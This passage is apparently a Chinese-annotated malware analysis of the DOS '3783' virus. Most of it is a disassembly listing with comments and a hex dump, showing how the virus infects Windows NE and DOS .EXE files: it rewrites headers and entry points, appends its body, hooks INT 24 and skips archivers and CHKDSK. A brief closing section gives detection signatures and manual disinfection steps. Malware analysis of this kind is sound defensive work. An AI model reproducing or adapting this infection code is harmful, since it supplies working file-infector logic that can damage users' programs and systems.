F6C8:0A0A E82102        CALL    0C2E		;检测是否 WINDOWS 文件
F6C8:0A0D 58            POP     AX		;是,转 0A14
F6C8:0A0E 5A            POP     DX
F6C8:0A0F 7303          JNB     0A14
F6C8:0A11 E9EB00        JMP     0AFF		;DOS .EXE 转0AFF
;=======================================================================
;传染 WINDOWS .EXE 文件及新格式 .EXE 文件
F6C8:0A14 F6441580      TEST    BYTE PTR [SI+15],80
F6C8:0A18 75DD          JNZ     09F7		;.DLL 不传染
F6C8:0A1A 8B4C3A        MOV     CX,[SI+3A]	;取移位值
F6C8:0A1D D1EA          SHR     DX,1
F6C8:0A1F D1D8          RCR     AX,1
F6C8:0A21 72D4          JB      09F7		;文件长不是移位的
F6C8:0A23 E2F8          LOOP    0A1D		;整数倍不传染
F6C8:0A25 0BD2          OR      DX,DX
F6C8:0A27 75CE          JNZ     09F7		;文件 > 65535*移位单位 不传染
F6C8:0A29 A3750E        MOV     [0E75],AX	;文件大小 (新的 CS:IP 入口段)
F6C8:0A2C B108          MOV     CL,08
F6C8:0A2E 294D3C        SUB     [DI+3C],CX	;新 NE 文件头位置前移 8 字节
F6C8:0A31 19553E        SBB     [DI+3E],DX
F6C8:0A34 AC            LODSB
F6C8:0A35 0AC0          OR      AL,AL		;如果这 8 字节不为 0
F6C8:0A37 E1FB          LOOPE   0A34		;则不传染
F6C8:0A39 75BC          JNZ     09F7
F6C8:0A3B 8B4422        MOV     AX,[SI+22]	;段地址表偏移量
F6C8:0A3E B105          MOV     CL,05
F6C8:0A40 56            PUSH    SI		;以下修改 NE 文件头下列部分
F6C8:0A41 BD0400        MOV     BP,0004		; 0004  登记表偏移
F6C8:0A44 3E            DS:			; 0024  资源表偏移
F6C8:0A45 3B02          CMP     AX,[BP+SI]	; 0026  驻留表偏移
F6C8:0A47 7304          JNB     0A4D		; 0028  模块引用表偏移
F6C8:0A49 3E            DS:			; 002A  引用名表偏移
F6C8:0A4A 830208        ADD     WORD PTR [BP+SI],+08
F6C8:0A4D BD2200        MOV     BP,0022
F6C8:0A50 46            INC     SI
F6C8:0A51 46            INC     SI
F6C8:0A52 E2F0          LOOP    0A44
F6C8:0A54 5E            POP     SI
F6C8:0A55 BD6302        MOV     BP,0263
F6C8:0A58 8B441C        MOV     AX,[SI+1C]	;段计数器 + 1
F6C8:0A5B 50            PUSH    AX
F6C8:0A5C 40            INC     AX
F6C8:0A5D 89441C        MOV     [SI+1C],AX	;入口 CS:IP 改为
F6C8:0A60 876C14        XCHG    BP,[SI+14]	;新段地址:0263
F6C8:0A63 874416        XCHG    AX,[SI+16]
F6C8:0A66 892E850E      MOV     [0E85],BP	;保存原 CS:IP 于 0E83
F6C8:0A6A A3830E        MOV     [0E83],AX
F6C8:0A6D 58            POP     AX
F6C8:0A6E BD0800        MOV     BP,0008		;段地址表长度
F6C8:0A71 F7E5          MUL     BP
F6C8:0A73 034422        ADD     AX,[SI+22]	;加上段地址表偏移
F6C8:0A76 13D1          ADC     DX,CX		;以下将整个 NE 文件头
F6C8:0A78 2D4000        SUB     AX,0040		;以及段地址表前移 8 字节
F6C8:0A7B 1BD1          SBB     DX,CX		;以便插入一个新的段地址表项
F6C8:0A7D BD0002        MOV     BP,0200
F6C8:0A80 F7F5          DIV     BP
F6C8:0A82 95            XCHG    AX,BP		;先移动余数
F6C8:0A83 B43F          MOV     AH,3F
F6C8:0A85 8BCA          MOV     CX,DX
F6C8:0A87 BA4F0F        MOV     DX,0F4F
F6C8:0A8A E81202        CALL    0C9F
F6C8:0A8D 7246          JB      0AD5
F6C8:0A8F 51            PUSH    CX
F6C8:0A90 C4553C        LES     DX,[DI+3C]
F6C8:0A93 8CC1          MOV     CX,ES
F6C8:0A95 E81C02        CALL    0CB4
F6C8:0A98 59            POP     CX
F6C8:0A99 B440          MOV     AH,40
F6C8:0A9B 83C140        ADD     CX,+40
F6C8:0A9E BA0F0F        MOV     DX,0F0F
F6C8:0AA1 E8FB01        CALL    0C9F
F6C8:0AA4 722F          JB      0AD5
F6C8:0AA6 83ED01        SUB     BP,+01		;再一次移动 200H 字节
F6C8:0AA9 722D          JB      0AD8
F6C8:0AAB 33C9          XOR     CX,CX
F6C8:0AAD BA0800        MOV     DX,0008
F6C8:0AB0 E80402        CALL    0CB7
F6C8:0AB3 B43F          MOV     AH,3F
F6C8:0AB5 B502          MOV     CH,02
F6C8:0AB7 BA4F0F        MOV     DX,0F4F
F6C8:0ABA E8E201        CALL    0C9F
F6C8:0ABD 7216          JB      0AD5
F6C8:0ABF B9FFFF        MOV     CX,FFFF
F6C8:0AC2 BAF8FD        MOV     DX,FDF8
F6C8:0AC5 E8EF01        CALL    0CB7
F6C8:0AC8 B440          MOV     AH,40
F6C8:0ACA B90002        MOV     CX,0200
F6C8:0ACD BA4F0F        MOV     DX,0F4F
F6C8:0AD0 E8CC01        CALL    0C9F
F6C8:0AD3 73D1          JNB     0AA6
F6C8:0AD5 E91FFF        JMP     09F7
F6C8:0AD8 B440          MOV     AH,40		;写入新的段地址表项
F6C8:0ADA B90800        MOV     CX,0008		;(病毒的段地址表项)
F6C8:0ADD BA750E        MOV     DX,0E75
F6C8:0AE0 E8BC01        CALL    0C9F
F6C8:0AE3 72F0          JB      0AD5
F6C8:0AE5 A32C03        MOV     [032C],AX	;032E:032C = FFFF:0000
F6C8:0AE8 892E2E03      MOV     [032E],BP
F6C8:0AEC 40            INC     AX
F6C8:0AED A37D0E        MOV     [0E7D],AX	;AX = 0001
F6C8:0AF0 C7067F0E0304  MOV     WORD PTR [0E7F],0403
F6C8:0AF6 C706810E2C03  MOV     WORD PTR [0E81],032C
F6C8:0AFC E98500        JMP     0B84
;===================================================================
;传染 DOS .EXE 文件
F6C8:0AFF E89F00        CALL    0BA1		;文件长/200H
F6C8:0B02 2B4504        SUB     AX,[DI+04]
F6C8:0B05 75CE          JNZ     0AD5
F6C8:0B07 2B5502        SUB     DX,[DI+02]
F6C8:0B0A 75C9          JNZ     0AD5		;有覆盖部分不传染
F6C8:0B0C 837D0CFF      CMP     WORD PTR [DI+0C],-01
F6C8:0B10 75C3          JNZ     0AD5		;最大要求内存不为-1不传染
F6C8:0B12 3B451A        CMP     AX,[DI+1A]	;覆盖号不为 0 (主程序) 不传染
F6C8:0B15 75BE          JNZ     0AD5
F6C8:0B17 E89301        CALL    0CAD		;DOS 4202 功能
F6C8:0B1A BE1000        MOV     SI,0010		;文件长 > 640K 不传染
F6C8:0B1D 3BD6          CMP     DX,SI
F6C8:0B1F 73B4          JNB     0AD5
F6C8:0B21 F7F6          DIV     SI
F6C8:0B23 2B4508        SUB     AX,[DI+08]	;减去文件头大小
F6C8:0B26 50            PUSH    AX
F6C8:0B27 52            PUSH    DX
F6C8:0B28 875514        XCHG    DX,[DI+14]	;设置新的 CS:IP
F6C8:0B2B 874516        XCHG    AX,[DI+16]	;到文件尾 (病毒开始处)
F6C8:0B2E 52            PUSH    DX
F6C8:0B2F 034508        ADD     AX,[DI+08]
F6C8:0B32 F7EE          IMUL    SI
F6C8:0B34 5E            POP     SI
F6C8:0B35 2D0200        SUB     AX,0002
F6C8:0B38 1BD1          SBB     DX,CX
F6C8:0B3A 03C6          ADD     AX,SI		;移动文件指针到
F6C8:0B3C 13CA          ADC     CX,DX		;开始执行前 2 字节
F6C8:0B3E 92            XCHG    AX,DX
F6C8:0B3F E87201        CALL    0CB4		;DOS 4200
F6C8:0B42 B43F          MOV     AH,3F		;读出 2 字节
F6C8:0B44 B90200        MOV     CX,0002
F6C8:0B47 BA4F11        MOV     DX,114F
F6C8:0B4A E85201        CALL    0C9F
F6C8:0B4D 5A            POP     DX
F6C8:0B4E 58            POP     AX
F6C8:0B4F 724D          JB      0B9E
F6C8:0B51 813E4F115242  CMP     WORD PTR [114F],4252
F6C8:0B57 7445          JZ      0B9E		;这 2 字节是 4252 不传染
F6C8:0B59 81C2C710      ADD     DX,10C7		;?????
F6C8:0B5D 48            DEC     AX
F6C8:0B5E 7409          JZ      0B69
F6C8:0B60 83C210        ADD     DX,+10
F6C8:0B63 83FA80        CMP     DX,-80
F6C8:0B66 72F5          JB      0B5D
F6C8:0B68 48            DEC     AX
F6C8:0B69 40            INC     AX
F6C8:0B6A 80E2FE        AND     DL,FE
F6C8:0B6D 895510        MOV     [DI+10],DX
F6C8:0B70 89450E        MOV     [DI+0E],AX
F6C8:0B73 E83701        CALL    0CAD		;DOS 4202 功能
F6C8:0B76 05C70E        ADD     AX,0EC7		;新的文件长
F6C8:0B79 13D1          ADC     DX,CX
F6C8:0B7B E82300        CALL    0BA1
F6C8:0B7E 894504        MOV     [DI+04],AX	;设置新的文件长
F6C8:0B81 895502        MOV     [DI+02],DX
F6C8:0B84 E80901        CALL    0C90		;写文件头 40H 字节
F6C8:0B87 7215          JB      0B9E
F6C8:0B89 E82101        CALL    0CAD		;DOS 4202 功能
F6C8:0B8C B440          MOV     AH,40
F6C8:0B8E B9C70E        MOV     CX,0EC7		;写病毒 0EC7 字节
F6C8:0B91 99            CWD
F6C8:0B92 E80A01        CALL    0C9F
F6C8:0B95 7207          JB      0B9E
F6C8:0B97 E83B01        CALL    0CD5		;取文件句柄表地址
F6C8:0B9A 804510C8      ADD     BYTE PTR [DI+10],C8	;设置传染标记
F6C8:0B9E E956FE        JMP     09F7		;文件日期加上 200 年
;======================================================================
F6C8:0BA1 B90002        MOV     CX,0200
F6C8:0BA4 F7F1          DIV     CX
F6C8:0BA6 0BD2          OR      DX,DX
F6C8:0BA8 7401          JZ      0BAB
F6C8:0BAA 40            INC     AX
F6C8:0BAB C3            RET
;======================================================================
F6C8:0BAC 40            INC     AX
F6C8:0BAD 3D4E5A        CMP     AX,5A4E
F6C8:0BB0 7403          JZ      0BB5
F6C8:0BB2 3D5B4D        CMP     AX,4D5B
F6C8:0BB5 C3            RET
;=======================================================================
;设置新的 INT 24 中断向量到 CS:0BEB
F6C8:0BB6 50            PUSH    AX
F6C8:0BB7 53            PUSH    BX
F6C8:0BB8 52            PUSH    DX
F6C8:0BB9 1E            PUSH    DS
F6C8:0BBA 06            PUSH    ES
F6C8:0BBB 0E            PUSH    CS
F6C8:0BBC 1F            POP     DS
F6C8:0BBD B82435        MOV     AX,3524
F6C8:0BC0 E83701        CALL    0CFA
F6C8:0BC3 891E7311      MOV     [1173],BX
F6C8:0BC7 8C067511      MOV     [1175],ES
F6C8:0BCB B425          MOV     AH,25
F6C8:0BCD BAEB0B        MOV     DX,0BEB
F6C8:0BD0 E82701        CALL    0CFA
F6C8:0BD3 07            POP     ES
F6C8:0BD4 1F            POP     DS
F6C8:0BD5 5A            POP     DX
F6C8:0BD6 5B            POP     BX
F6C8:0BD7 58            POP     AX
F6C8:0BD8 C3            RET
;==========================================================================
;恢复原 INT 24 中断向量
F6C8:0BD9 50            PUSH    AX
F6C8:0BDA 52            PUSH    DX
F6C8:0BDB 1E            PUSH    DS
F6C8:0BDC B82425        MOV     AX,2524
F6C8:0BDF 2E            CS:
F6C8:0BE0 C5167311      LDS     DX,[1173]
F6C8:0BE4 E81301        CALL    0CFA
F6C8:0BE7 1F            POP     DS
F6C8:0BE8 5A            POP     DX
F6C8:0BE9 58            POP     AX
F6C8:0BEA C3            RET
;==========================================================================
;新的 INT 24 中断程序, 出错时返回失败 (Fail)
F6C8:0BEB B003          MOV     AL,03
F6C8:0BED CF            IRET
;==========================================================================
F6C8:0BEE 832E030F08    SUB     WORD PTR [0F03],+08
F6C8:0BF3 831E050F00    SBB     WORD PTR [0F05],+00
F6C8:0BF8 E83300        CALL    0C2E
F6C8:0BFB 7230          JB      0C2D
F6C8:0BFD B108          MOV     CL,08
F6C8:0BFF 882C          MOV     [SI],CH
F6C8:0C01 46            INC     SI
F6C8:0C02 E2FB          LOOP    0BFF
F6C8:0C04 FF4C1C        DEC     WORD PTR [SI+1C]
F6C8:0C07 A1C50E        MOV     AX,[0EC5]
F6C8:0C0A 894414        MOV     [SI+14],AX
F6C8:0C0D A1C30E        MOV     AX,[0EC3]
F6C8:0C10 894416        MOV     [SI+16],AX
F6C8:0C13 8B4422        MOV     AX,[SI+22]
F6C8:0C16 B105          MOV     CL,05
F6C8:0C18 56            PUSH    SI
F6C8:0C19 BD0400        MOV     BP,0004
F6C8:0C1C 3E            DS:
F6C8:0C1D 3B02          CMP     AX,[BP+SI]
F6C8:0C1F 7304          JNB     0C25
F6C8:0C21 3E            DS:
F6C8:0C22 832A08        SUB     WORD PTR [BP+SI],+08
F6C8:0C25 BD2200        MOV     BP,0022
F6C8:0C28 46            INC     SI
F6C8:0C29 46            INC     SI
F6C8:0C2A E2F0          LOOP    0C1C
F6C8:0C2C 5E            POP     SI
F6C8:0C2D C3            RET
;=======================================================================
;检测是否 WINDOWS 可执行程序或新格式可执行程序
F6C8:0C2E 833EDF0E40    CMP     WORD PTR [0EDF],+40
F6C8:0C33 7225          JB      0C5A		;重定位表地址 < 40
F6C8:0C35 C416030F      LES     DX,[0F03]	;不是 WINDOWS 文件
F6C8:0C39 8CC1          MOV     CX,ES
F6C8:0C3B 83EA08        SUB     DX,+08		;移动到 NE 文件头 - 8 处
F6C8:0C3E 83D900        SBB     CX,+00		;
F6C8:0C41 E87000        CALL    0CB4		;DOS 4200功能
F6C8:0C44 B43F          MOV     AH,3F
F6C8:0C46 B94800        MOV     CX,0048		;读出 48H 字节
F6C8:0C49 BA070F        MOV     DX,0F07		;NE 文件头在 0F0F 处
F6C8:0C4C 8BF2          MOV     SI,DX
F6C8:0C4E E84E00        CALL    0C9F
F6C8:0C51 7207          JB      0C5A
F6C8:0C53 817C084E45    CMP     WORD PTR [SI+08],454E
F6C8:0C58 7401          JZ      0C5B		;不是 "NE" 设置 CY
F6C8:0C5A F9            STC
F6C8:0C5B C3            RET
;==========================================================================
F6C8:0C5C 53            PUSH    BX
F6C8:0C5D 51            PUSH    CX
F6C8:0C5E 52            PUSH    DX
F6C8:0C5F 56            PUSH    SI
F6C8:0C60 57            PUSH    DI
F6C8:0C61 55            PUSH    BP
F6C8:0C62 1E            PUSH    DS
F6C8:0C63 06            PUSH    ES
F6C8:0C64 B98B28        MOV     CX,288B
F6C8:0C67 BA75D5        MOV     DX,D575
F6C8:0C6A B80010        MOV     AX,1000
F6C8:0C6D 8ED8          MOV     DS,AX
F6C8:0C6F B43F          MOV     AH,3F
F6C8:0C71 E81701        CALL    0D8B
F6C8:0C74 720E          JB      0C84
F6C8:0C76 0E            PUSH    CS
F6C8:0C77 1F            POP     DS
F6C8:0C78 01066F07      ADD     [076F],AX
F6C8:0C7C 0106680C      ADD     [0C68],AX
F6C8:0C80 2906650C      SUB     [0C65],AX
F6C8:0C84 07            POP     ES
F6C8:0C85 1F            POP     DS
F6C8:0C86 5D            POP     BP
F6C8:0C87 5F            POP     DI
F6C8:0C88 5E            POP     SI
F6C8:0C89 5A            POP     DX
F6C8:0C8A 59            POP     CX
F6C8:0C8B 5B            POP     BX
F6C8:0C8C C3            RET
;=========================================================================
F6C8:0C8D B43F          MOV     AH,3F
F6C8:0C8F 3DB440        CMP     AX,40B4
F6C8:0C92 50            PUSH    AX
F6C8:0C93 E81100        CALL    0CA7
F6C8:0C96 58            POP     AX
F6C8:0C97 B94000        MOV     CX,0040
F6C8:0C9A BAC70E        MOV     DX,0EC7
F6C8:0C9D 0E            PUSH    CS
F6C8:0C9E 1F            POP     DS
F6C8:0C9F E85800        CALL    0CFA
F6C8:0CA2 7202          JB      0CA6
F6C8:0CA4 2BC1          SUB     AX,CX
F6C8:0CA6 C3            RET
;=========================================================================
F6C8:0CA7 B000          MOV     AL,00
F6C8:0CA9 3DB001        CMP     AX,01B0
F6C8:0CAC 3DB002        CMP     AX,02B0
F6C8:0CAF 33C9          XOR     CX,CX
F6C8:0CB1 33D2          XOR     DX,DX
F6C8:0CB3 3DB000        CMP     AX,00B0
F6C8:0CB6 3DB001        CMP     AX,01B0
F6C8:0CB9 3DB002        CMP     AX,02B0
F6C8:0CBC B442          MOV     AH,42
F6C8:0CBE EB3A          JMP     0CFA
F6C8:0CC0 B9FFFF        MOV     CX,FFFF
F6C8:0CC3 BABCFF        MOV     DX,FFBC
F6C8:0CC6 E8F1FF        CALL    0CBA
F6C8:0CC9 B43F          MOV     AH,3F
F6C8:0CCB B94400        MOV     CX,0044
F6C8:0CCE BAC30E        MOV     DX,0EC3
F6C8:0CD1 0E            PUSH    CS
F6C8:0CD2 1F            POP     DS
F6C8:0CD3 EBCA          JMP     0C9F
F6C8:0CD5 50            PUSH    AX
F6C8:0CD6 53            PUSH    BX
F6C8:0CD7 B82012        MOV     AX,1220
F6C8:0CDA E8E300        CALL    0DC0
F6C8:0CDD 33DB          XOR     BX,BX
F6C8:0CDF 26            ES:
F6C8:0CE0 8A1D          MOV     BL,[DI]
F6C8:0CE2 B81612        MOV     AX,1216
F6C8:0CE5 E8D800        CALL    0DC0
F6C8:0CE8 720D          JB      0CF7
F6C8:0CEA 06            PUSH    ES
F6C8:0CEB 1F            POP     DS
F6C8:0CEC F6450580      TEST    BYTE PTR [DI+05],80
F6C8:0CF0 F5            CMC
F6C8:0CF1 7504          JNZ     0CF7
F6C8:0CF3 F64510C0      TEST    BYTE PTR [DI+10],C0
F6C8:0CF7 5B            POP     BX
F6C8:0CF8 58            POP     AX
F6C8:0CF9 C3            RET
;=========================================================================
F6C8:0CFA E84D00        CALL    0D4A
F6C8:0CFD E88B00        CALL    0D8B
F6C8:0D00 E85E00        CALL    0D61
F6C8:0D03 2E            CS:
F6C8:0D04 FF366911      PUSH    WORD PTR [1169]
F6C8:0D08 2E            CS:
F6C8:0D09 FF366D11      PUSH    WORD PTR [116D]
F6C8:0D0D 2E            CS:
F6C8:0D0E FF366F11      PUSH    WORD PTR [116F]
F6C8:0D12 2E            CS:
F6C8:0D13 8C1E6D11      MOV     [116D],DS
F6C8:0D17 0E            PUSH    CS
F6C8:0D18 1F            POP     DS
F6C8:0D19 893E6911      MOV     [1169],DI
F6C8:0D1D 8C066F11      MOV     [116F],ES
F6C8:0D21 BF5F11        MOV     DI,115F
F6C8:0D24 0E            PUSH    CS
F6C8:0D25 07            POP     ES
F6C8:0D26 FF35          PUSH    WORD PTR [DI]
F6C8:0D28 9C            PUSHF
F6C8:0D29 AB            STOSW
F6C8:0D2A 8B05          MOV     AX,[DI]
F6C8:0D2C 93            XCHG    AX,BX
F6C8:0D2D AB            STOSW
F6C8:0D2E 8B05          MOV     AX,[DI]
F6C8:0D30 91            XCHG    AX,CX
F6C8:0D31 AB            STOSW
F6C8:0D32 8B05          MOV     AX,[DI]
F6C8:0D34 92            XCHG    AX,DX
F6C8:0D35 AB            STOSW
F6C8:0D36 8B05          MOV     AX,[DI]
F6C8:0D38 96            XCHG    AX,SI
F6C8:0D39 AB            STOSW
F6C8:0D3A AF            SCASW
F6C8:0D3B 8B05          MOV     AX,[DI]
F6C8:0D3D 95            XCHG    AX,BP
F6C8:0D3E AB            STOSW
F6C8:0D3F 58            POP     AX
F6C8:0D40 874504        XCHG    AX,[DI+04]
F6C8:0D43 50            PUSH    AX
F6C8:0D44 9D            POPF
F6C8:0D45 58            POP     AX
F6C8:0D46 07            POP     ES
F6C8:0D47 1F            POP     DS
F6C8:0D48 5F            POP     DI
F6C8:0D49 C3            RET
;==========================================================================
F6C8:0D4A 9C            PUSHF
F6C8:0D4B 50            PUSH    AX
F6C8:0D4C 53            PUSH    BX
F6C8:0D4D 51            PUSH    CX
F6C8:0D4E 52            PUSH    DX
F6C8:0D4F 56            PUSH    SI
F6C8:0D50 57            PUSH    DI
F6C8:0D51 55            PUSH    BP
F6C8:0D52 1E            PUSH    DS
F6C8:0D53 06            PUSH    ES
F6C8:0D54 E8ACFF        CALL    0D03
F6C8:0D57 07            POP     ES
F6C8:0D58 1F            POP     DS
F6C8:0D59 5D            POP     BP
F6C8:0D5A 5F            POP     DI
F6C8:0D5B 5E            POP     SI
F6C8:0D5C 5A            POP     DX
F6C8:0D5D 59            POP     CX
F6C8:0D5E 5B            POP     BX
F6C8:0D5F 58            POP     AX
F6C8:0D60 9D            POPF
F6C8:0D61 50            PUSH    AX
F6C8:0D62 53            PUSH    BX
F6C8:0D63 51            PUSH    CX
F6C8:0D64 56            PUSH    SI
F6C8:0D65 1E            PUSH    DS
F6C8:0D66 B81812        MOV     AX,1218
F6C8:0D69 E85400        CALL    0DC0
F6C8:0D6C BF5F11        MOV     DI,115F
F6C8:0D6F B90900        MOV     CX,0009
F6C8:0D72 AD            LODSW
F6C8:0D73 2E            CS:
F6C8:0D74 8705          XCHG    AX,[DI]
F6C8:0D76 AF            SCASW
F6C8:0D77 8944FE        MOV     [SI-02],AX
F6C8:0D7A E2F6          LOOP    0D72
F6C8:0D7C 8B4404        MOV     AX,[SI+04]
F6C8:0D7F 2E            CS:
F6C8:0D80 8705          XCHG    AX,[DI]
F6C8:0D82 894404        MOV     [SI+04],AX
F6C8:0D85 1F            POP     DS
F6C8:0D86 5E            POP     SI
F6C8:0D87 59            POP     CX
F6C8:0D88 5B            POP     BX
F6C8:0D89 58            POP     AX
F6C8:0D8A C3            RET
;==================================================================
;病毒自己执行 INT 21 功能
F6C8:0D8B 50            PUSH    AX
F6C8:0D8C 53            PUSH    BX
F6C8:0D8D 1E            PUSH    DS
F6C8:0D8E 2E            CS:
F6C8:0D8F C51E5711      LDS     BX,[1157]
F6C8:0D93 8AC4          MOV     AL,AH
F6C8:0D95 98            CBW
F6C8:0D96 D1E0          SHL     AX,1
F6C8:0D98 2E            CS:
F6C8:0D99 03065111      ADD     AX,[1151]
F6C8:0D9D 93            XCHG    AX,BX
F6C8:0D9E 8B07          MOV     AX,[BX]
F6C8:0DA0 2E            CS:
F6C8:0DA1 A35511        MOV     [1155],AX
F6C8:0DA4 2E            CS:
F6C8:0DA5 832E571105    SUB     WORD PTR [1157],+05
F6C8:0DAA 1F            POP     DS
F6C8:0DAB 5B            POP     BX
F6C8:0DAC 58            POP     AX
F6C8:0DAD 685344        PUSH    4453
F6C8:0DB0 2E            CS:
F6C8:0DB1 FF365711      PUSH    WORD PTR [1157]
F6C8:0DB5 2E            CS:
F6C8:0DB6 FF365911      PUSH    WORD PTR [1159]
F6C8:0DBA 2E            CS:
F6C8:0DBB FF365511      PUSH    WORD PTR [1155]
F6C8:0DBF CB            RETF
F6C8:0DC0 3C12          CMP     AL,12
F6C8:0DC2 9C            PUSHF
F6C8:0DC3 FA            CLI
F6C8:0DC4 0E            PUSH    CS
F6C8:0DC5 E80100        CALL    0DC9
F6C8:0DC8 C3            RET
F6C8:0DC9 2E            CS:
F6C8:0DCA FF365911      PUSH    WORD PTR [1159]
F6C8:0DCE 2E            CS:
F6C8:0DCF FF365D11      PUSH    WORD PTR [115D]
F6C8:0DD3 CB            RETF
F6C8:0DD4 CD2F          INT     2F      (Multiplex)
F6C8:0DD6 C3            RET
;=====================================================================
;比较当前执行文件名是否为 PKZIP,ARJ,RAR,LHA,TELIX,BACKUP,MSBACKUP
F6C8:0DD7 56            PUSH    SI
F6C8:0DD8 BE1C0E        MOV     SI,0E1C
F6C8:0DDB E80B00        CALL    0DE9
F6C8:0DDE 5E            POP     SI
F6C8:0DDF C3            RET
;=====================================================================
;比较当前执行文件名是否为 CHKDSK
F6C8:0DE0 56            PUSH    SI
F6C8:0DE1 BE450E        MOV     SI,0E45
F6C8:0DE4 E80200        CALL    0DE9
F6C8:0DE7 5E            POP     SI
F6C8:0DE8 C3            RET
;=======================================================================
;比较当前执行文件名
;是否为 PKZIP,ARJ,RAR,LHA,TELIX,BACKUP,MSBACKUP
;是, 返回 ZR
F6C8:0DE9 60            PUSHA
F6C8:0DEA 1E            PUSH    DS
F6C8:0DEB 06            PUSH    ES
F6C8:0DEC 0E            PUSH    CS
F6C8:0DED 1F            POP     DS
F6C8:0DEE B451          MOV     AH,51		;得到当前进程 PSP
F6C8:0DF0 CD21          INT     21
F6C8:0DF2 4B            DEC     BX
F6C8:0DF3 8EC3          MOV     ES,BX
F6C8:0DF5 33DB          XOR     BX,BX
F6C8:0DF7 26            ES:
F6C8:0DF8 817F084C4C    CMP     WORD PTR [BX+08],4C4C
F6C8:0DFD 7506          JNZ     0E05		;"LL"
F6C8:0DFF 26            ES:
F6C8:0E00 385F0B        CMP     [BX+0B],BL
F6C8:0E03 7413          JZ      0E18
F6C8:0E05 AC            LODSB
F6C8:0E06 3C01          CMP     AL,01		;比较字符数
F6C8:0E08 720E          JB      0E18
F6C8:0E0A 98            CBW
F6C8:0E0B 8BC8          MOV     CX,AX
F6C8:0E0D 03C6          ADD     AX,SI
F6C8:0E0F 50            PUSH    AX
F6C8:0E10 BF0800        MOV     DI,0008
F6C8:0E13 F3            REPZ
F6C8:0E14 A6            CMPSB
F6C8:0E15 5E            POP     SI
F6C8:0E16 75ED          JNZ     0E05
F6C8:0E18 07            POP     ES
F6C8:0E19 1F            POP     DS
F6C8:0E1A 61            POPA
F6C8:0E1B C3            RET

F6C8:0E10  BF 08 00 F3 A6 5E 75 ED-07 1F 61 C3 05 50 4B 5A   .....^u...a..PKZ
F6C8:0E20  49 50 03 41 52 4A 03 52-41 52 03 4C 48 41 05 54   IP.ARJ.RAR.LHA.T
F6C8:0E30  45 4C 49 58 06 42 41 43-4B 55 50 08 4D 53 42 41   ELIX.BACKUP.MSBA
F6C8:0E40  43 4B 55 50 00 06 43 48-4B 44 53 4B 00 50 00 01   CKUP..CHKDSK.P..
F6C8:0E50  02 50 00 02 02 50 00 03-02 50 00 04 02 50 00 05   .P...P...P...P..
F6C8:0E60  02 50 00 06 02 50 00 07-02 50 00 08 02 50 00 09   .P...P...P...P..
F6C8:0E70  02 50 00 0A 02 13 1C 7D-0E 80 01 7D 0E 01 00 03   .P.....}...}....
F6C8:0E80  04 2C 03 01 00 99 02 46-36 43 38 3A 30 30 30 30   .,.....F6C8:0000
F6C8:0E90  20 30 45 20 20 20 20 20-20 20 20 20 20 20 20 50    0E            P
F6C8:0EA0  55 53 48 20 20 20 20 43-53 0D 0A 46 36 43 38 3A   USH    CS..F6C8:
F6C8:0EB0  30 30 30 31 20 31 46 20-20 20 20 20 20 20 20 20   0001 1F
F6C8:0EC0  20 20 20 01 00 99 02 E9-6D 15 66 88 15 00 00 C7      .....m.f.....
F6C8:0ED0  0F 00 00 85 0E 00 00 95-12 00 00 00 00 00 00 00   ................
F6C8:0EE0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0EF0  00 00 00 00 00 00 00 00-00 00 00 00 E8 64 00 1E   .............d..
F6C8:0F00  0E 2E FF 26 04 01 FB 00-00 00 00 00 00 00 00 00   ...&............
F6C8:0F10  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0F20  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0F30  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0F40  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0F50  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0F60  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0F70  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0F80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0F90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0FA0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0FB0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0FC0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0FD0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0FE0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
F6C8:0FF0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

杀毒要点：

1．内存中病毒的检测

检测内存中的病毒可以用病毒自己的检测方法，设置 AX=187FH，BX=4453H 调用INT 21H，如果返回 BX=87A1H 表示内存中已有 3783 病毒，由于该病毒有很多欺骗手段，要检测引导区或文件上的病毒必须先用干净系统盘重新启动。

2．引导区中病毒的检测和清除

用磁盘编辑工具观察引导区，如果发现偏移 003EH 的内容为 FA 33 DB 8E D3 BC 00 7C 8E C4 表示引导区中已有病毒，对于硬盘，可用 CX=000DH，DX=0080H，INT 13H 读出原引导记录，对于软盘，可用 CX=5009H，DX=0000H，INT 13H 读出原引导记录， 再写入引导区就可以清除病毒，清除硬盘引导区的 3783 病毒也可以简单地用 FDISK /MBR 来完成。

3．可执行文件中病毒的检测和清除

3783 病毒在文件中保存了原文件的文件头，位置是病毒开始后偏移第 0E87H 处算起的 40H 字节，由于 3783 病毒代码不加密，所以检测和清除相对比较简单，对于 DOS 文件，可以用PCTOOLS 等软件查找字符串 0E 1F E8 00 00 5E 83 EE 05 56 06 B8 7F 18，或用DEBUG 反汇编文件的前几句，如果发现字符串或发现以下指令：
XXXX:0100 E9YYYY JMP YYYY ；.COM 文件的第一句
．．．
XXXX:YYYY 0E PUSH CS ；.EXE 文件的第一句
1F POP DS
E80000 CALL ZZZZ
XXXX:ZZZZ 5E POP SI
83EE05 SUB SI,+05
56 PUSH SI
06 PUSH ES
B87F18 MOV AX,187F
BB5344 MOV BX,4453
CD21 INT 21 (DOS)
81FBA187 CMP BX,87A1
就可以确认文件已被 3783 病毒传染，手工消毒可以用以下办法：先记下找到字符串的位置，再将这个位置加上 0E87H，( DEBUG 中将地址 YYYY 加上 0E87H) 就是原文件头 40H 字节保存的地方，将这 40H字节写回文件头，再从找到字符串的地方将文件截断即完成消毒。
